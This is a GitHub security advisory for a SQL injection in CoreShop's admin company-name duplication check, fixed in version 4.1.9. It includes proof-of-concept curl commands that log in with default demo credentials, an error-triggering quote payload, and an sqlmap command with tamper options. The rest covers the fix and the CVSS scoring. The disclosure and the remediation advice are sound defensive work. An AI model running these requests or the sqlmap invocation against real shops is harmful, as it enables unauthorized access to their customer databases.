Skip to content

CoreShop Vulnerable to SQL Injection via Admin customer-company-modifier

Moderate severity GitHub Reviewed Published Jan 20, 2026 in coreshop/CoreShop • Updated Jan 22, 2026

Package

composer coreshop/core-shop (Composer)

Affected versions

< 4.1.9

Patched versions

4.1.9

Description

SQL Injection in CustomerTransformerController

Summary

An error-based SQL Injection vulnerability was identified in the CustomerTransformerController within the CoreShop admin panel.
The affected endpoint improperly interpolates user-supplied input into a SQL query, leading to database error disclosure and potential data extraction.

This issue is classified as MEDIUM severity, as it allows SQL execution in an authenticated admin context.

Details

The vulnerability exists in the company name duplication check endpoint:

/admin/coreshop/customer-company-modifier/duplication-name-check?value=

Source code analysis indicates that user input is directly embedded into a SQL condition without parameterization.

Vulnerable file:

/app/repos/coreshop/src/CoreShop/Bundle/CustomerBundle/Controller/CustomerTransformerController.php

Vulnerable code pattern:

sprintf('name LIKE "%%%s%%"', (string) $value)

The $value parameter is fully user-controlled and is not escaped or bound as a prepared statement parameter.
Supplying a double quote (") causes a SQL syntax error, confirming that the input is executed in a SQL context.

Exploitation Steps:

Prerequisites

  • Admin panel access at https://demo4.coreshop.org/admin
  • Default credentials: admin / coreshop

Authenticate to admin panel

   # Get CSRF token
   curl -s 'https://demo4.coreshop.org/admin/login/csrf-token' | grep csrfToken

   # Initialize session
   curl -s -c /tmp/session.txt 'https://demo4.coreshop.org/admin/login' > /dev/null

   # Get CSRF token with session
   CSRF=$(curl -s -b /tmp/session.txt 'https://demo4.coreshop.org/admin/login/csrf-token' | grep -o '"csrfToken":"[^"]*"' | cut -d'"' -f4)

   # Login
   curl -s -i -b /tmp/session.txt -c /tmp/session.txt \
     -X POST 'https://demo4.coreshop.org/admin/login/login' \
     -H 'Content-Type: application/x-www-form-urlencoded' \
     -d "username=admin&password=coreshop&csrfToken=$CSRF"

Trigger SQL error to confirm injection

curl -s -b /tmp/session.txt \
  'https://demo4.coreshop.org/admin/coreshop/customer-company-modifier/duplication-name-check?value=%22'

Expected result: HTTP 500 error page with title "500 | CORS - Pimcore Digital Agency"

Normal response (non-error):

{"success":true,"message":null,"list":[]}

Proof of Impact:

Test 1 - Normal query:

GET /admin/coreshop/customer-company-modifier/duplication-name-check?value=test
Response: {"success":true,"message":null,"list":[]}

Test 2 - SQL injection (error-inducing):

GET /admin/coreshop/customer-company-modifier/duplication-name-check?value="
Response: HTTP 500 Internal Server Error
<!DOCTYPE html>
<html lang="en">
<head>
  <title>500 | CORS - Pimcore Digital Agency</title>
  ...
</head>

The double quote character causes a SQL syntax error, confirming the injection point. The application returns a 500 error instead of the normal JSON response, proving that unescaped user input reaches the SQL query.

Sqlmap Result:

python sqlmap.py -r sql.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080/ --dbms=mysql -p value --level=5 --risk=3 --current-db

sqlmappoc

Impact

  • Vulnerability type: SQL Injection (Error-based)
  • Affected users: CoreShop / Pimcore admin users
  • Potential impact:
    • Database error disclosure
    • Database schema enumeration
    • Possible data extraction via error-based or blind SQL injection

Recommended Fix

1. Use Parameterized Queries (Required)

Avoid building SQL conditions using string concatenation or sprintf.
Use Doctrine QueryBuilder parameters instead.

❌ Vulnerable example:

$condition = sprintf('name LIKE "%%%s%%"', (string) $value);

✅ Secure example (Doctrine QueryBuilder):

$qb->andWhere('c.name LIKE :name')
   ->setParameter('name', '%' . $value . '%');

This ensures proper escaping and prevents SQL injection.

2. Validate User Input (Defense-in-Depth)

Apply strict input validation before processing user data:

if (!is_string($value) || mb_strlen($value) > 255) {
    throw new BadRequestHttpException('Invalid input');
}

Optionally, restrict allowed characters if business logic permits.

3. Handle Errors Gracefully

Avoid returning raw 500 error pages to users.
Catch database exceptions and return a controlled JSON error response instead:

return new JsonResponse([
    'success' => false,
    'message' => 'Invalid request'
], 400);

4. Security Best Practice

  • Never interpolate user input directly into SQL strings
  • Always use prepared statements or ORM parameter binding
  • Ensure consistent input validation on all admin endpoints

References

@dpfaffenbauer dpfaffenbauer published to coreshop/CoreShop Jan 20, 2026
Published to the GitHub Advisory Database Jan 21, 2026
Reviewed Jan 21, 2026
Published by the National Vulnerability Database Jan 22, 2026
Last updated Jan 22, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required High
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(1st percentile)

Weaknesses

SQL Injection: Hibernate

Using Hibernate to execute a dynamic SQL statement built with user-controlled input can allow an attacker to modify the statement's meaning or to execute arbitrary SQL commands. Learn more on MITRE.

CVE ID

CVE-2026-23959

GHSA ID

GHSA-fqcv-8859-86x2

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.